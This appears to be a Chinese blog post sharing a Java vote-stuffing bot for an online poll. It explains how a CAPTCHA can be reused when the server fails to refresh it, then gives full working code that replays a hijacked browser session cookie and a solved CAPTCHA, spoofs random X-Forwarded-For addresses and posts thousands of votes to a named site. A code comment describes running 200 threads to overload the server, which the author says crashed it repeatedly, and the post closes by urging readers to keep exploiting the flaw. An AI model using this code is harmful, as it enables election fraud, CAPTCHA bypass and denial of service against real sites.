`
azvf
  • 浏览: 144498 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

java投票器

阅读更多

好多刷票的,服务器宕机好几次,后来投票程序升级了,增加了图片验证码功能,验证码中有4个英文数字组合,再后来升级为中文验证码。上次的js投票器,写的有点随意了,这次改java版的。

先来分析下验证码是如何工作的

第一步,request到服务器端,server生成验证码,置入session

第二部,跳转到客户端(一般是浏览器),此时生成图片,图片中的内容就是session 中的验证码

第三步,用户将 数据 + 肉眼看到的图片上的验证码 post/get到服务器

第四步,服务器端,验证post/get来的验证码,和session 中的验证码是否相同,相同则继续执行业务然后跳转到投票页即第一步生成新的验证码;不同则跳转到客户端,告诉客户端:你搞错了,然后跳转到第一步生成新的验证码

 

如果客户端是浏览器,验证码是正常工作的。但是,俺们是用程序搞request,执行完第四步之后,不会跳转到第一步,验证码就不正常工作了。如果程序写的严谨,比如:”第四步中校验验证码过后,生成新的验证码置入session中“,而不是通过让客户端重新发起第一步的request的方式生成新的验证码,则验证码还是可以正常工作的。

 

只需要在浏览器中,走到第二步,获取到验证码,然后用程序提交数据和验证码,依然可以

上干货,fuck goods

 

import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.Random;

import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.HttpException;
import org.apache.commons.httpclient.NameValuePair;
import org.apache.commons.httpclient.methods.PostMethod;

public class TP extends Thread {

	// 验证码
	protected static String AUTHNUM_SESSION = "向变关点育";

	// 从浏览器中获取到的session信息,服务器端会认为本java程序提交的数据,和刚才浏览器是同一个会话session
	protected static String SESSION_ID = "PHPSESSID=uouddcugmv4jnpep1sv3vlkr64";

	// 投票间隔
	protected static long INTERVAL_TIME = 100;

	// 投票ID
	protected static String ID = "77";

	// 投票总数
	protected static int TP_MAX = 10000;

	// 投票地址
	protected static String VOTE = "http://www.xxx.com/xly/tp/tp_ok.php?id="
			+ ID;

	protected static int COUTER = 0;

	/**
	 * @param args
	 * @throws IOException
	 * @throws HttpException
	 * @throws InterruptedException
	 */
	public static void main(String[] args) throws HttpException, IOException,
			InterruptedException {
		TP tp = new TP();
		tp.start();
		/**
		 * 用程序刷票刷了一会,发现服务器端凡是针对ID是77的投票,全都不计数,连正常投票都不计数了,郁闷啊
		 * 不带这么玩的,别人都在刷票,唯独俺不能刷,没办法,开200线程,换个ID给别人投,让服务器busy,这样都不能刷票了
		 * 这才公平,结果服务器不间断的宕机、宕机
		 * 
		 */
		// for(int i =0; i < 200;i++){
		// TP tp = new TP();
		// tp.start();
		// }
	}

	public void run() {
		int counter = 0;
		for (;;) {
			if (TP_MAX > 0 && counter >= TP_MAX) {
				System.out.println("投票完成,共投票:" + counter);
				break;
			}
			try {
				vote();
				Thread.sleep(INTERVAL_TIME);
			} catch (InterruptedException e) {
				e.printStackTrace();
			} catch (HttpException e) {
				e.printStackTrace();
			} catch (UnsupportedEncodingException e) {
				e.printStackTrace();
			} catch (IOException e) {
				e.printStackTrace();
			}
			counter++;
		}
	}

	protected static void vote() throws IOException, HttpException,
			UnsupportedEncodingException {
		HttpClient client = new HttpClient();

		PostMethod post = new PostMethod(VOTE);
		/**
		 * requestHeader中的属性,都是从浏览器种扒下来的
		 */
		post
				.addRequestHeader("Accept",
						"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
		post.addRequestHeader("Accept-Charset", "GBK,utf-8;q=0.7,*;q=0.3");
		post.addRequestHeader("Accept-Encoding", "GBK,utf-8;q=0.7,*;q=0.3");
		post.addRequestHeader("Accept-Language", "zh-CN,zh;q=0.8");
		post.addRequestHeader("Cache-Control", "max-age=0");
		post.addRequestHeader("Connection", "keep-alive");
		post.addRequestHeader("Host", "szdydly.ichzh.com");
		post.addRequestHeader("Cookie", SESSION_ID);

		String fakeIp = rndIp();
		// 伪造ip所需要的属性
		post.addRequestHeader("X-Forwarded-For", fakeIp);
		post.addRequestHeader("Referer", "http://www.xxx.com/xly/tp/index.php");
		post
				.addRequestHeader(
						"User-Agent",
						"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7");

		NameValuePair[] nvp = new NameValuePair[3];
		// 验证码的utf-8编码
		String code = URLEncoder.encode(AUTHNUM_SESSION, "utf-8");
		nvp[0] = new NameValuePair("code", code);
		nvp[1] = new NameValuePair("imgbtn.x", "33");
		nvp[2] = new NameValuePair("imgbtn.y", "16");

		post.setRequestBody(nvp);

		// 使用POST方式提交数据
		int statusCode = client.executeMethod(post);
		System.out.println("statusCode : " + statusCode);

		if (statusCode == 200) {
			if (post.getResponseBody() != null) {
				String response1String = new String(post.getResponseBody(),
						"utf-8");
				System.out.println(response1String);
				System.out.println("已投票:" + COUTER++);
			}
		}

	}

	/**
	 * 伪造IP
	 * 
	 * @return
	 */
	private static String rndIp() {
		return rndInt(255) + "." + rndInt(255) + "." + rndInt(255) + "."
				+ rndInt(255);
	}

	private static int rndInt(int max) {
		Random rnd = new Random(47);
		return rnd.nextInt(max);
	}

}

 

服务器上验证码漏洞一天没补上,就可以继续刷票,走起。程序中用到commons-httpclient包

0
0
分享到:
评论

相关推荐

    投票代码、投票器、投票java

    前台、后台投票器源代码;投票代码、投票器、投票java

    方便简洁投票器

    方便简洁投票器

    java做的投票系统

    分数要多了点。。。因为缺分。。。但对于新手或者是有一定基础的学习者,相信是会有很大进步的。 搭项目之前,请一定要看readme.txt哦

    java投票管理系统

    本系统运用到了窗口布局、按钮事件的触发和字符串分析器等相关知识,界面简洁、清爽,操作简单,用户可以自定义候选人 ,允许用户修改候选人,支持多次投票,能够自动统计出一共投的票数、废票数、弃权票数和各个...

    java课设选举器

    Java课设选举器包含:通信,文档存储等功能 选举统计。 设一次选举有若干候选人,设计一种选票格式及计票程序,采用基于Socket通信方式投票。统计所有选票数量、每个候选人的得票数和得票率,将候选人及其得票数和...

    VoteMachine:投票器,java实现的Demo

    VoteMachine 投票器,java实现的Demo

    基于java语言的TCP通信例程,可用于投票功能

    一个java语言实现的TCP通信例子,包括TCP服务器,客户端,成帧器,编解码文件,完成投票(vote)功能,可以作为java语言TCP编程实例使用。

    Java开发详解.zip

    031219_〖第12章:JAVA IO〗_实例操作:投票程序笔记.pdf 031301_【第13章:Java类集】_认识类集、Collection接口笔记.pdf 031302_【第13章:Java类集】_List接口笔记.pdf 031303_【第13章:Java类集】_LinkedList类...

    Java运行环境 Java SE Runtime Environment 8.0.172.x64官方多语言正式版

    Java SE Runtime Environment(运行时环境)包含了运行以 Java 编程语言编写的程序所必需的 Java 虚拟机、运行时类库和 Java 应用程序启动器。 Java 平台的安全性 一个由角色提供的安全信息的描述。适用于开发人员...

    Java运行环境 Java SE Runtime Environment 8.0.172.x86官方多语言正式版

    Java SE Runtime Environment(运行时环境)包含了运行以 Java 编程语言编写的程序所必需的 Java 虚拟机、运行时类库和 Java 应用程序启动器。 Java 平台的安全性 一个由角色提供的安全信息的描述。适用于开发人员...

    java图形用户界面程序大全

    java图形用户界面的程序大全,包括好多案例程序,比如计数器,投票器,月相,文件对话框等等

    java图形实例大全

    Swing按钮 Swing动画 单位转换器 温度转换器 文件对话框 投票器 Swing菜单按钮计数器

    javaweb投票系统源码-java-project2:在线投票:springmvc+jdbc+jsp+mysql

    java web投票系统源码 java-project2 springmvc+jdbc+jsp+mysql做的在线投票系统 用到的技术以及难点: 1.页面展示使用jsp,用到了jquery,bootstrap3,投票展示用JFreeChart绘制的柱状图,有些页面的效果源码来自...

    Java 2 范例入门与提高

    6.6 投票器 6.7 TextSamplerDemo 6.8 Swing菜单 6.9 文件对话框 6.10 月相 6.11 单位转换器 6.12 Swing动画 第7章 java多媒体技术 7.1 播放声音文件 7.2 收音机 7.3 电子琴 7.4 吃豆游戏 7.5 简易壁球 7.6 弹球游戏 ...

    经典:Java2范例入门与提高

    6.6 投票器 6.7 TextSamplerDemo 6.8 Swing菜单 6.9 文件对话框 6.10 月相 6.11 单位转换器 6.12 Swing动画 第7章 java多媒体技术 7.1 播放声音文件 7.2 收音机 7.3 电子琴 7.4 吃豆游戏 7.5 简易壁球 7.6 弹球游戏 ...

    《Java2范例入门与提高》所有实例源码

    6.6 投票器 6.7 TextSamplerDemo 6.8 Swing菜单 6.9 文件对话框 6.10 月相 6.11 单位转换器 6.12 Swing动画 第7章 java多媒体技术 7.1 播放声音文件 7.2 收音机 7.3 电子琴 7.4 吃豆游戏 7.5 简易壁球 7.6 弹球游戏 ...

    投票管理系统-java.doc

    本系统运 用到了窗口布局、按钮事件的触发和字符串分析器等相关知识,界面简洁、清爽,操作 简单,用户可以自定义候选人 ,允许用户修改候选人,支持多次投票,能够自动统计出一共投的票数、废票数、弃权 票数和各个...

    jseats:JSeats 是通用选举席位分配算法的java实现

    入门JSeats 库提供了一个基于以下简单架构的座位分配处理器: 您可以在此处使用示例: Java API 示例BDD支持的方法多数法简单(FPTP 或 ) 合格的绝对排名方法通过投票。 等比例法(又名)野兔下垂帝国德洪特Sainte-...

    java投票网站源码-voting-machines:用于探索电子投票机软件质量的repo

    java投票网站源码投票机 用于探索电子投票机软件质量的 repo 该存储库提供了为验证电子投票设备而执行的软件验证过程的细分。 每个设备的符合性证书和最终测试报告都包含在由制造商组织的相应文件夹中。 这些报告是...

Global site tag (gtag.js) - Google Analytics